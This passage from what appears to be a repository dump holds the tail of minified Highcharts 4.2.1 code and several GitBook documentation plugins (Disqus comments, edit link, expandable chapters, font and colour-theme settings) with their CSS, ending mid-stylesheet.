b=a.length,d,e,k,j,m,l,n;for(e=0;e<b;e++)if(d=a[e])d.oldOpacity=d.opacity,d.newOpacity=1;a.sort(function(a,b){return(b.labelrank||0)-(a.labelrank||0)});for(e=0;e<b;e++){k=a[e];\nfor(d=e+1;d<b;++d)if(j=a[d],k&&j&&k.placed&&j.placed&&k.newOpacity!==0&&j.newOpacity!==0&&(m=k.alignAttr,l=j.alignAttr,n=2*(k.box?0:k.padding),m=!(l.x>m.x+(k.width-n)||l.x+(j.width-n)<m.x||l.y>m.y+(k.height-n)||l.y+(j.height-n)<m.y)))(k.labelrank<j.labelrank?k:j).newOpacity=0}c(a,function(a){var b,c;if(a){c=a.newOpacity;if(a.oldOpacity!==c&&a.placed)c?a.show(!0):b=function(){a.hide()},a.alignAttr.opacity=c,a[a.isOld?\"animate\":\"attr\"](a.alignAttr,null,b);a.isOld=!0}})}})(u);ea=u.TrackerMixin={drawTrackerPoint:function(){var a=\nthis,b=a.chart,c=b.pointer,d=a.options.cursor,e=d&&{cursor:d},f=function(a){for(var c=a.target,d;c&&!d;)d=c.point,c=c.parentNode;if(d!==B&&d!==b.hoverPoint)d.onMouseOver(a)};o(a.points,function(a){if(a.graphic)a.graphic.element.point=a;if(a.dataLabel)a.dataLabel.element.point=a});if(!a._hasTracking)o(a.trackerGroups,function(b){if(a[b]&&(a[b].addClass(\"highcharts-tracker\").on(\"mouseover\",f).on(\"mouseout\",function(a){c.onTrackerMouseOut(a)}).css(e),db))a[b].on(\"touchstart\",f)}),a._hasTracking=!0},\ndrawTrackerGraph:function(){var a=this,b=a.options,c=b.trackByArea,d=[].concat(c?a.areaPath:a.graphPath),e=d.length,f=a.chart,g=f.pointer,h=f.renderer,i=f.options.tooltip.snap,k=a.tracker,j=b.cursor,m=j&&{cursor:j},j=a.singlePoints,l,n=function(){if(f.hoverSeries!==a)a.onMouseOver()},p=\"rgba(192,192,192,\"+(da?1.0E-4:0.002)+\")\";if(e&&!c)for(l=e+1;l--;)d[l]===\"M\"&&d.splice(l+1,0,d[l+1]-i,d[l+2],\"L\"),(l&&d[l]===\"M\"||l===e)&&d.splice(l,0,\"L\",d[l-2]+i,d[l-1]);for(l=0;l<j.length;l++)e=j[l],d.push(\"M\",e.plotX-\ni,e.plotY,\"L\",e.plotX+i,e.plotY);k?k.attr({d:d}):(a.tracker=h.path(d).attr({\"stroke-linejoin\":\"round\",visibility:a.visible?\"visible\":\"hidden\",stroke:p,fill:c?p:\"none\",\"stroke-width\":b.lineWidth+(c?0:2*i),zIndex:2}).add(a.group),o([a.tracker,a.markerGroup],function(a){a.addClass(\"highcharts-tracker\").on(\"mouseover\",n).on(\"mouseout\",function(a){g.onTrackerMouseOut(a)}).css(m);if(db)a.on(\"touchstart\",n)}))}};if(I.column)xa.prototype.drawTracker=ea.drawTrackerPoint;if(I.pie)I.pie.prototype.drawTracker=\nea.drawTrackerPoint;if(I.scatter)sa.prototype.drawTracker=ea.drawTrackerPoint;v(pb.prototype,{setItemEvents:function(a,b,c,d,e){var f=this;(c?b:a.legendGroup).on(\"mouseover\",function(){a.setState(\"hover\");b.css(f.options.itemHoverStyle)}).on(\"mouseout\",function(){b.css(a.visible?d:e);a.setState()}).on(\"click\",function(b){var c=function(){a.setVisible&&a.setVisible()},b={browserEvent:b};a.firePointEvent?a.firePointEvent(\"legendItemClick\",b,c):H(a,\"legendItemClick\",b,c)})},createCheckboxForItem:function(a){a.checkbox=\n$(\"input\",{type:\"checkbox\",checked:a.selected,defaultChecked:a.selected},this.options.itemCheckboxStyle,this.chart.container);N(a.checkbox,\"click\",function(b){H(a.series||a,\"checkboxClick\",{checked:b.target.checked,item:a},function(){a.select()})})}});O.legend.itemStyle.cursor=\"pointer\";v(hb.prototype,{showResetZoom:function(){var a=this,b=O.lang,c=a.options.chart.resetZoomButton,d=c.theme,e=d.states,f=c.relativeTo===\"chart\"?null:\"plotBox\";this.resetZoomButton=a.renderer.button(b.resetZoom,null,null,\nfunction(){a.zoomOut()},d,e&&e.hover).attr({align:c.position.align,title:b.resetZoomTitle}).add().align(c.position,!1,f)},zoomOut:function(){var a=this;H(a,\"selection\",{resetSelection:!0},function(){a.zoom()})},zoom:function(a){var b,c=this.pointer,d=!1,e;!a||a.resetSelection?o(this.axes,function(a){b=a.zoom()}):o(a.xAxis.concat(a.yAxis),function(a){var e=a.axis,h=e.isXAxis;if(c[h?\"zoomX\":\"zoomY\"]||c[h?\"pinchX\":\"pinchY\"])b=e.zoom(a.min,a.max),e.displayBtn&&(d=!0)});e=this.resetZoomButton;if(d&&!e)this.showResetZoom();\nelse if(!d&&Z(e))this.resetZoomButton=e.destroy();b&&this.redraw(p(this.options.chart.animation,a&&a.animation,this.pointCount<100))},pan:function(a,b){var c=this,d=c.hoverPoints,e;d&&o(d,function(a){a.setState()});o(b===\"xy\"?[1,0]:[1],function(b){var d=a[b?\"chartX\":\"chartY\"],h=c[b?\"xAxis\":\"yAxis\"][0],i=c[b?\"mouseDownX\":\"mouseDownY\"],k=(h.pointRange||0)/2,j=h.getExtremes(),m=h.toValue(i-d,!0)+k,k=h.toValue(i+c[b?\"plotWidth\":\"plotHeight\"]-d,!0)-k,i=i>d;if(h.series.length&&(i||m>E(j.dataMin,j.min))&&\n(!i||k<s(j.dataMax,j.max)))h.setExtremes(m,k,!1,!1,{trigger:\"pan\"}),e=!0;c[b?\"mouseDownX\":\"mouseDownY\"]=d});e&&c.redraw(!1);M(c.container,{cursor:\"move\"})}});v(Ia.prototype,{select:function(a,b){var c=this,d=c.series,e=d.chart,a=p(a,!c.selected);c.firePointEvent(a?\"select\":\"unselect\",{accumulate:b},function(){c.selected=c.options.selected=a;d.options.data[qa(c,d.data)]=c.options;c.setState(a&&\"select\");b||o(e.getSelectedPoints(),function(a){if(a.selected&&a!==c)a.selected=a.options.selected=!1,d.options.data[qa(a,\nd.data)]=a.options,a.setState(\"\"),a.firePointEvent(\"unselect\")})})},onMouseOver:function(a,b){var c=this.series,d=c.chart,e=d.tooltip,f=d.hoverPoint;if(d.hoverSeries!==c)c.onMouseOver();if(f&&f!==this)f.onMouseOut();if(this.series&&(this.firePointEvent(\"mouseOver\"),e&&(!e.shared||c.noSharedTooltip)&&e.refresh(this,a),this.setState(\"hover\"),!b))d.hoverPoint=this},onMouseOut:function(){var a=this.series.chart,b=a.hoverPoints;this.firePointEvent(\"mouseOut\");if(!b||qa(this,b)===-1)this.setState(),a.hoverPoint=\nnull},importEvents:function(){if(!this.hasImportedEvents){var a=D(this.series.options.point,this.options).events,b;this.events=a;for(b in a)N(this,b,a[b]);this.hasImportedEvents=!0}},setState:function(a,b){var c=S(this.plotX),d=this.plotY,e=this.series,f=e.options.states,g=ba[e.type].marker&&e.options.marker,h=g&&!g.enabled,i=g&&g.states[a],k=i&&i.enabled===!1,j=e.stateMarkerGraphic,m=this.marker||{},l=e.chart,n=e.halo,o,a=a||\"\";o=this.pointAttr[a]||e.pointAttr[a];if(!(a===this.state&&!b||this.selected&&\na!==\"select\"||f[a]&&f[a].enabled===!1||a&&(k||h&&i.enabled===!1)||a&&m.states&&m.states[a]&&m.states[a].enabled===!1)){if(this.graphic)g=g&&this.graphic.symbolName&&o.r,this.graphic.attr(D(o,g?{x:c-g,y:d-g,width:2*g,height:2*g}:{})),j&&j.hide();else{if(a&&i)if(g=i.radius,m=m.symbol||e.symbol,j&&j.currentSymbol!==m&&(j=j.destroy()),j)j[b?\"animate\":\"attr\"]({x:c-g,y:d-g});else if(m)e.stateMarkerGraphic=j=l.renderer.symbol(m,c-g,d-g,2*g,2*g).attr(o).add(e.markerGroup),j.currentSymbol=m;if(j)j[a&&l.isInsidePlot(c,\nd,l.inverted)?\"show\":\"hide\"](),j.element.point=this}if((c=f[a]&&f[a].halo)&&c.size){if(!n)e.halo=n=l.renderer.path().add(l.seriesGroup);n.attr(v({fill:this.color||e.color,\"fill-opacity\":c.opacity},c.attributes))[b?\"animate\":\"attr\"]({d:this.haloPath(c.size)})}else n&&n.attr({d:[]});this.state=a}},haloPath:function(a){var b=this.series,c=b.chart,d=b.getPlotBox(),e=c.inverted,f=Math.floor(this.plotX);return c.renderer.symbols.circle(d.translateX+(e?b.yAxis.len-this.plotY:f)-a,d.translateY+(e?b.xAxis.len-\nf:this.plotY)-a,a*2,a*2)}});v(R.prototype,{onMouseOver:function(){var a=this.chart,b=a.hoverSeries;if(b&&b!==this)b.onMouseOut();this.options.events.mouseOver&&H(this,\"mouseOver\");this.setState(\"hover\");a.hoverSeries=this},onMouseOut:function(){var a=this.options,b=this.chart,c=b.tooltip,d=b.hoverPoint;b.hoverSeries=null;if(d)d.onMouseOut();this&&a.events.mouseOut&&H(this,\"mouseOut\");c&&!a.stickyTracking&&(!c.shared||this.noSharedTooltip)&&c.hide();this.setState()},setState:function(a){var b=this.options,\nc=this.graph,d=b.states,e=b.lineWidth,b=0,a=a||\"\";if(this.state!==a&&(this.state=a,!(d[a]&&d[a].enabled===!1)&&(a&&(e=d[a].lineWidth||e+(d[a].lineWidthPlus||0)),c&&!c.dashstyle))){a={\"stroke-width\":e};for(c.attr(a);this[\"zoneGraph\"+b];)this[\"zoneGraph\"+b].attr(a),b+=1}},setVisible:function(a,b){var c=this,d=c.chart,e=c.legendItem,f,g=d.options.chart.ignoreHiddenSeries,h=c.visible;f=(c.visible=a=c.userOptions.visible=a===B?!h:a)?\"show\":\"hide\";o([\"group\",\"dataLabelsGroup\",\"markerGroup\",\"tracker\"],function(a){if(c[a])c[a][f]()});\nif(d.hoverSeries===c||(d.hoverPoint&&d.hoverPoint.series)===c)c.onMouseOut();e&&d.legend.colorizeItem(c,a);c.isDirty=!0;c.options.stacking&&o(d.series,function(a){if(a.options.stacking&&a.visible)a.isDirty=!0});o(c.linkedSeries,function(b){b.setVisible(a,!1)});if(g)d.isDirtyBox=!0;b!==!1&&d.redraw();H(c,f)},show:function(){this.setVisible(!0)},hide:function(){this.setVisible(!1)},select:function(a){this.selected=a=a===B?!this.selected:a;if(this.checkbox)this.checkbox.checked=a;H(this,a?\"select\":\"unselect\")},\ndrawTracker:ea.drawTrackerGraph});v(u,{Color:ia,Point:Ia,Tick:Wa,Renderer:cb,SVGElement:Q,SVGRenderer:Ba,arrayMin:Sa,arrayMax:Da,charts:W,dateFormat:Ra,error:Y,format:La,pathAnim:void 0,getOptions:function(){return O},hasBidiBug:Qb,isTouchDevice:Mb,setOptions:function(a){O=D(!0,O,a);Fb();return O},addEvent:N,removeEvent:U,createElement:$,discardElement:Ua,css:M,each:o,map:Ha,merge:D,splat:ta,stableSort:jb,extendClass:na,pInt:F,svg:da,canvas:ha,vml:!da&&!ha,product:\"Highcharts\",version:\"4.2.1\"});return u});\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-disqus/plugin.css",
    "content": "#disqus_thread {\n    margin: 5px 15px;\n    margin-top: 30px;\n}\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-disqus/plugin.js",
    "content": "require([\n    \"gitbook\",\n    \"jQuery\"\n], function(gitbook, $) {\n    var use_identifier = false;\n\n    function resetDisqus() {\n        var $disqusDiv = $(\"<div>\", {\n            \"id\": \"disqus_thread\"\n        });\n        $(\".book-body .page-inner\").append($disqusDiv);\n\n        if (typeof DISQUS !== \"undefined\") {\n            DISQUS.reset({\n                reload: true,\n                config: function () {\n                    this.language = $('html').attr('lang') || \"en\";\n                    this.page.url = window.location.href;\n\n                    if (use_identifier) {\n                        this.page.identifier = currentUrl();\n                    }\n                }\n            });\n        }\n    }\n\n    function joinURL(baseUrl, url) {\n        var theUrl = new URI(url);\n        if (theUrl.is(\"relative\")) {\n            theUrl = theUrl.absoluteTo(baseUrl);\n        }\n        return theUrl.toString();\n    }\n\n    function currentUrl() {\n        var location = new URI(window.location.href),\n            base     = joinURL(window.location.href, gitbook.state.basePath),\n            current  = location.relativeTo(base).toString(),\n            language = $('html').attr('lang'),\n            parent   = joinURL(base, '..'),\n            folder   = new URI(base).relativeTo(parent).toString();\n\n        // If parent folder is the same as language, we assume translated books\n        if (folder.replace(/\\/$/, \"\") === language) {\n            current = folder + current;\n        }\n\n        return current;\n    }\n\n    gitbook.events.bind(\"start\", function(e, config) {\n        config.disqus = config.disqus || {};\n        var disqus_shortname = config.disqus.shortName;\n        var disqus_config = function() {\n            this.language = $('html').attr('lang') || \"en\";\n        };\n\n        if (config.disqus.useIdentifier) {\n            use_identifier = true;\n            var disqus_identifier = currentUrl();\n        }\n\n        /* * * DON'T EDIT BELOW THIS LINE * * */\n        (function() {\n            var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;\n            dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';\n            (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);\n        })();\n\n        resetDisqus();\n    });\n\n    gitbook.events.bind(\"page.change\", resetDisqus);\n});\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-edit-link/plugin.js",
    "content": "require([\"gitbook\", \"jQuery\"], function(gitbook, $) {\n    gitbook.events.bind('start', function (e, config) {\n        var conf = config['edit-link'];\n        var label = conf.label;\n        var base = conf.base;\n        var lang = gitbook.state.innerLanguage;\n        if (lang) {\n            // label can be a unique string for multi-languages site\n            if (typeof label === 'object') label = label[lang];\n\n            lang = lang + '/';\n        }\n\n        // Add slash at the end if not present\n        if (base.slice(-1) != \"/\") {\n            base = base + \"/\";\n        }\n\n        gitbook.toolbar.createButton({\n            icon: 'fa fa-edit',\n            text: label,\n            onClick: function() {\n                var filepath = gitbook.state.filepath;\n\n                window.open(base + lang + filepath);\n            }\n        });\n    });\n\n});"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-emphasize/plugin.css",
    "content": ".pg-emphasize {\n    border-radius: 2px;\n    background: #FFFF88;\n    padding:1px;\n}\n\n.pg-emphasize.pg-emphasize-red {\n    background: #ffecec;\n}\n\n.pg-emphasize.pg-emphasize-green {\n    background: #eaffea;\n}\n\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css",
    "content": ".book .book-summary .chapter > .articles {\r\n\toverflow: hidden;\r\n\tmax-height: 0px;\r\n}\r\n\r\n.book .book-summary .chapter.expanded > .articles {\r\n\tmax-height: 9999px;\r\n}\r\n\r\n.book .book-summary .exc-trigger {\r\n\tposition: absolute;\r\n  \tleft: 12px;\r\n  \ttop: 12px;\r\n}\r\n\r\n.book .book-summary ul.summary li a,\r\n.book .book-summary ul.summary li span {\r\n\tpadding-left: 30px;\r\n}\r\n\r\n.book .book-summary .exc-trigger:before {\r\n  \tcontent: \"\\f105\";\r\n}\r\n\r\n.book .book-summary .expanded > a .exc-trigger:before,\r\n.book .book-summary .expanded > span .exc-trigger:before {\r\n\tcontent: \"\\f107\";\r\n}\r\n\r\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js",
    "content": "require(['gitbook', 'jQuery'], function(gitbook, $) {\r\n  var TOGGLE_CLASSNAME = 'expanded',\r\n      CHAPTER = '.chapter',\r\n      ARTICLES = '.articles',\r\n      TRIGGER_TEMPLATE = '<i class=\"exc-trigger fa\"></i>',\r\n      LS_NAMESPACE = 'expChapters';\r\n  var init = function () {\r\n    // adding the trigger element to each ARTICLES parent and binding the event\r\n    $(ARTICLES)\r\n      .parent(CHAPTER)\r\n      .children('a')\r\n      .append(\r\n        $(TRIGGER_TEMPLATE)\r\n          .on('click', function(e) {\r\n            e.preventDefault();\r\n            e.stopPropagation();\r\n            toggle($(e.target).closest(CHAPTER));\r\n          })\r\n      );\r\n    expand(lsItem());\r\n    //expand current selected chapter with it's parents\r\n    var activeChapter = $(CHAPTER + '.active');\r\n    expand(activeChapter);\r\n    expand(activeChapter.parents(CHAPTER));\r\n\r\n\r\n  } \r\n  var toggle = function ($chapter) {\r\n    if ($chapter.hasClass('expanded')) {\r\n      collapse($chapter);\r\n    } else {\r\n      expand($chapter);\r\n    }\r\n  }\r\n  var collapse = function ($chapter) {\r\n    if ($chapter.length && $chapter.hasClass(TOGGLE_CLASSNAME)) {\r\n      $chapter.removeClass(TOGGLE_CLASSNAME);\r\n      lsItem($chapter);\r\n    }\r\n  }\r\n  var expand = function ($chapter) {\r\n    if ($chapter.length && !$chapter.hasClass(TOGGLE_CLASSNAME)) {\r\n      $chapter.addClass(TOGGLE_CLASSNAME);\r\n      lsItem($chapter);\r\n    }\r\n  }\r\n  var lsItem = function () {\r\n    var map = JSON.parse(localStorage.getItem(LS_NAMESPACE)) || {}\r\n    if (arguments.length) {\r\n      var $chapters = arguments[0];\r\n      $chapters.each(function (index, element) {\r\n        var level = $(this).data('level');\r\n        var value = $(this).hasClass(TOGGLE_CLASSNAME);\r\n        map[level] = value;\r\n      })\r\n      localStorage.setItem(LS_NAMESPACE, JSON.stringify(map));\r\n    } else {\r\n      return $(CHAPTER).map(function(index, element){\r\n        if (map[$(this).data('level')]) {\r\n          return this;\r\n        }\r\n      })\r\n    }\r\n  }\r\n  gitbook.events.bind('page.change', function() {\r\n    init()\r\n  }); \r\n});\r\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-fontsettings/fontsettings.js",
    "content": "require(['gitbook', 'jquery'], function(gitbook, $) {\n    // Configuration\n    var MAX_SIZE       = 4,\n        MIN_SIZE       = 0,\n        BUTTON_ID;\n\n    // Current fontsettings state\n    var fontState;\n\n    // Default themes\n    var THEMES = [\n        {\n            config: 'white',\n            text: 'White',\n            id: 0\n        },\n        {\n            config: 'sepia',\n            text: 'Sepia',\n            id: 1\n        },\n        {\n            config: 'night',\n            text: 'Night',\n            id: 2\n        }\n    ];\n\n    // Default font families\n    var FAMILIES = [\n        {\n            config: 'serif',\n            text: 'Serif',\n            id: 0\n        },\n        {\n            config: 'sans',\n            text: 'Sans',\n            id: 1\n        }\n    ];\n\n    // Return configured themes\n    function getThemes() {\n        return THEMES;\n    }\n\n    // Modify configured themes\n    function setThemes(themes) {\n        THEMES = themes;\n        updateButtons();\n    }\n\n    // Return configured font families\n    function getFamilies() {\n        return FAMILIES;\n    }\n\n    // Modify configured font families\n    function setFamilies(families) {\n        FAMILIES = families;\n        updateButtons();\n    }\n\n    // Save current font settings\n    function saveFontSettings() {\n        gitbook.storage.set('fontState', fontState);\n        update();\n    }\n\n    // Increase font size\n    function enlargeFontSize(e) {\n        e.preventDefault();\n        if (fontState.size >= MAX_SIZE) return;\n\n        fontState.size++;\n        saveFontSettings();\n    }\n\n    // Decrease font size\n    function reduceFontSize(e) {\n        e.preventDefault();\n        if (fontState.size <= MIN_SIZE) return;\n\n        fontState.size--;\n        saveFontSettings();\n    }\n\n    // Change font family\n    function changeFontFamily(configName, e) {\n        if (e && e instanceof Event) {\n            e.preventDefault();\n        }\n\n        var familyId = getFontFamilyId(configName);\n        fontState.family = familyId;\n        saveFontSettings();\n    }\n\n    // Change type of color theme\n    function changeColorTheme(configName, e) {\n        if (e && e instanceof Event) {\n            e.preventDefault();\n        }\n\n        var $book = gitbook.state.$book;\n\n        // Remove currently applied color theme\n        if (fontState.theme !== 0)\n            $book.removeClass('color-theme-'+fontState.theme);\n\n        // Set new color theme\n        var themeId = getThemeId(configName);\n        fontState.theme = themeId;\n        if (fontState.theme !== 0)\n            $book.addClass('color-theme-'+fontState.theme);\n\n        saveFontSettings();\n    }\n\n    // Return the correct id for a font-family config key\n    // Default to first font-family\n    function getFontFamilyId(configName) {\n        // Search for plugin configured font family\n        var configFamily = $.grep(FAMILIES, function(family) {\n            return family.config == configName;\n        })[0];\n        // Fallback to default font family\n        return (!!configFamily)? configFamily.id : 0;\n    }\n\n    // Return the correct id for a theme config key\n    // Default to first theme\n    function getThemeId(configName) {\n        // Search for plugin configured theme\n        var configTheme = $.grep(THEMES, function(theme) {\n            return theme.config == configName;\n        })[0];\n        // Fallback to default theme\n        return (!!configTheme)? configTheme.id : 0;\n    }\n\n    function update() {\n        var $book = gitbook.state.$book;\n\n        $('.font-settings .font-family-list li').removeClass('active');\n        $('.font-settings .font-family-list li:nth-child('+(fontState.family+1)+')').addClass('active');\n\n        $book[0].className = $book[0].className.replace(/\\bfont-\\S+/g, '');\n        $book.addClass('font-size-'+fontState.size);\n        $book.addClass('font-family-'+fontState.family);\n\n        if(fontState.theme !== 0) {\n            $book[0].className = $book[0].className.replace(/\\bcolor-theme-\\S+/g, '');\n            $book.addClass('color-theme-'+fontState.theme);\n        }\n    }\n\n    function init(config) {\n        // Search for plugin configured font family\n        var configFamily = getFontFamilyId(config.family),\n            configTheme = getThemeId(config.theme);\n\n        // Instantiate font state object\n        fontState = gitbook.storage.get('fontState', {\n            size:   config.size || 2,\n            family: configFamily,\n            theme:  configTheme\n        });\n\n        update();\n    }\n\n    function updateButtons() {\n        // Remove existing fontsettings buttons\n        if (!!BUTTON_ID) {\n            gitbook.toolbar.removeButton(BUTTON_ID);\n        }\n\n        // Create buttons in toolbar\n        BUTTON_ID = gitbook.toolbar.createButton({\n            icon: 'fa fa-font',\n            label: 'Font Settings',\n            className: 'font-settings',\n            dropdown: [\n                [\n                    {\n                        text: 'A',\n                        className: 'font-reduce',\n                        onClick: reduceFontSize\n                    },\n                    {\n                        text: 'A',\n                        className: 'font-enlarge',\n                        onClick: enlargeFontSize\n                    }\n                ],\n                $.map(FAMILIES, function(family) {\n                    family.onClick = function(e) {\n                        return changeFontFamily(family.config, e);\n                    };\n\n                    return family;\n                }),\n                $.map(THEMES, function(theme) {\n                    theme.onClick = function(e) {\n                        return changeColorTheme(theme.config, e);\n                    };\n\n                    return theme;\n                })\n            ]\n        });\n    }\n\n    // Init configuration at start\n    gitbook.events.bind('start', function(e, config) {\n        var opts = config.fontsettings;\n\n        // Generate buttons at start\n        updateButtons();\n\n        // Init current settings\n        init(opts);\n    });\n\n    // Expose API\n    gitbook.fontsettings = {\n        enlargeFontSize: enlargeFontSize,\n        reduceFontSize:  reduceFontSize,\n        setTheme:        changeColorTheme,\n        setFamily:       changeFontFamily,\n        getThemes:       getThemes,\n        setThemes:       setThemes,\n        getFamilies:     getFamilies,\n        setFamilies:     setFamilies\n    };\n});\n\n\n"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-fontsettings/website.css",
    "content": "/*\n * Theme 1\n */\n.color-theme-1 .dropdown-menu {\n  background-color: #111111;\n  border-color: #7e888b;\n}\n.color-theme-1 .dropdown-menu .dropdown-caret .caret-inner {\n  border-bottom: 9px solid #111111;\n}\n.color-theme-1 .dropdown-menu .buttons {\n  border-color: #7e888b;\n}\n.color-theme-1 .dropdown-menu .button {\n  color: #afa790;\n}\n.color-theme-1 .dropdown-menu .button:hover {\n  color: #73553c;\n}\n/*\n * Theme 2\n */\n.color-theme-2 .dropdown-menu {\n  background-color: #2d3143;\n  border-color: #272a3a;\n}\n.color-theme-2 .dropdown-menu .dropdown-caret .caret-inner {\n  border-bottom: 9px solid #2d3143;\n}\n.color-theme-2 .dropdown-menu .buttons {\n  border-color: #272a3a;\n}\n.color-theme-2 .dropdown-menu .button {\n  color: #62677f;\n}\n.color-theme-2 .dropdown-menu .button:hover {\n  color: #f4f4f5;\n}\n.book .book-header .font-settings .font-enlarge {\n  line-height: 30px;\n  font-size: 1.4em;\n}\n.book .book-header .font-settings .font-reduce {\n  line-height: 30px;\n  font-size: 1em;\n}\n.book.color-theme-1 .book-body {\n  color: #704214;\n  background: #f3eacb;\n}\n.book.color-theme-1 .book-body .page-wrapper .page-inner section {\n  background: #f3eacb;\n}\n.book.color-theme-2 .book-body {\n  color: #bdcadb;\n  background: #1c1f2b;\n}\n.book.color-theme-2 .book-body .page-wrapper .page-inner section {\n  background: #1c1f2b;\n}\n.book.font-size-0 .book-body .page-inner section {\n  font-size: 1.2rem;\n}\n.book.font-size-1 .book-body .page-inner section {\n  font-size: 1.4rem;\n}\n.book.font-size-2 .book-body .page-inner section {\n  font-size: 1.6rem;\n}\n.book.font-size-3 .book-body .page-inner section {\n  font-size: 2.2rem;\n}\n.book.font-size-4 .book-body .page-inner section {\n  font-size: 4rem;\n}\n.book.font-family-0 {\n  font-family: Georgia, serif;\n}\n.book.font-family-1 {\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n}\n.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal {\n  color: #704214;\n}\n.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal a {\n  color: inherit;\n}\n.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h1,\n.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h2,\n.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h3,\n.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h4,\n.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h5,\n.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h6 {\n  color: inherit;\n}\n.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h1,\n.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h2 {\n  border-color: inherit;\n}\n.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h6 {\n  color: inherit;\n}\n.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal hr {\n  background-color: inherit;\n}\n.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal blockquote {\n  border-color: inherit;\n}\n.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal pre,\n.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal code {\n  background: #fdf6e3;\n  color: #657b83;\n  border-color: #f8df9c;\n}\n.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal .highlight {\n  background-color: inherit;\n}\n.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal table th,\n.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal table td {\n  border-color: #f5d06c;\n}\n.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal table tr {\n  color: inherit;\n  background-color: #fdf6e3;\n  border-color: #444444;\n}\n.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal table tr:nth-child(2n) {\n  background-color: #fbeecb;\n}\n.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal {\n  color: #bdcadb;\n}\n.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal a {\n  color: #3eb1d0;\n}\n.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h1,\n.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h2,\n.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h3,\n.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h4,\n.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h5,\n.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h6 {\n  color: #fffffa;\n}\n.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h1,\n.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h2 {\n  border-color: #373b4e;\n}\n.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h6 {\n  color: #373b4e;\n}\n.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal hr {\n  background-color: #373b4e;\n}\n.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal blockquote {\n  border-color: #373b4e;\n}\n.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal pre,\n.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal code {\n  color: #9dbed8;\n  background: #2d3143;\n  border-color: #2d3143;\n}\n.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal .highlight {\n  background-color: #282a39;\n}\n.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal table th,\n.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal table td {\n  border-color: #3b3f54;\n}\n.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal table tr {\n  color: #b6c2d2;\n  background-color: #2d3143;\n  border-color: #3b3f54;\n}\n.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal table tr:nth-child(2n) {\n  background-color: #35394b;\n}\n.book.color-theme-1 .book-header {\n  color: #afa790;\n  background: transparent;\n}\n.book.color-theme-1 .book-header .btn {\n  color: #afa790;\n}\n.book.color-theme-1 .book-header .btn:hover {\n  color: #73553c;\n  background: none;\n}\n.book.color-theme-1 .book-header h1 {\n  color: #704214;\n}\n.book.color-theme-2 .book-header {\n  color: #7e888b;\n  background: transparent;\n}\n.book.color-theme-2 .book-header .btn {\n  color: #3b3f54;\n}\n.book.color-theme-2 .book-header .btn:hover {\n  color: #fffff5;\n  background: none;\n}\n.book.color-theme-2 .book-header h1 {\n  color: #bdcadb;\n}\n.book.color-theme-1 .book-body .navigation {\n  color: #afa790;\n}\n.book.color-theme-1 .book-body .navigation:hover {\n  color: #73553c;\n}\n.book.color-theme-2 .book-body .navigation {\n  color: #383f52;\n}\n.book.color-theme-2 .book-body .navigation:hover {\n  color: #fffff5;\n}\n/*\n * Theme 1\n */\n.book.color-theme-1 .book-summary {\n  color: #afa790;\n  background: #111111;\n  border-right: 1px solid rgba(0, 0, 0, 0.07);\n}\n.book.color-theme-1 .book-summary .book-search {\n  background: transparent;\n}\n.book.color-theme-1 .book-summary .book-search input,\n.book.color-theme-1 .book-summary .book-search input:focus {\n  border: 1px solid transparent;\n}\n.book.color-theme-1 .book-summary ul.summary li.divider {\n  background: #7e888b;\n  box-shadow: none;\n}\n.book.color-theme-1 .book-summary ul.summary li i.fa-check {\n  color: #33cc33;\n}\n.book.color-theme-1 .book-summary ul.summary li.done > a {\n  color: #877f6a;\n}\n.book.color-theme-1 .book-summary ul.summary li a,\n.book.color-theme-1 .book-summary ul.summary li span {\n  color: #877f6a;\n  background: transparent;\n  font-weight: normal;\n}\n.book.color-theme-1 .book-summary ul.summary li.active > a,\n.book.color-theme-1 .book-summary ul.summary li a:hover {\n  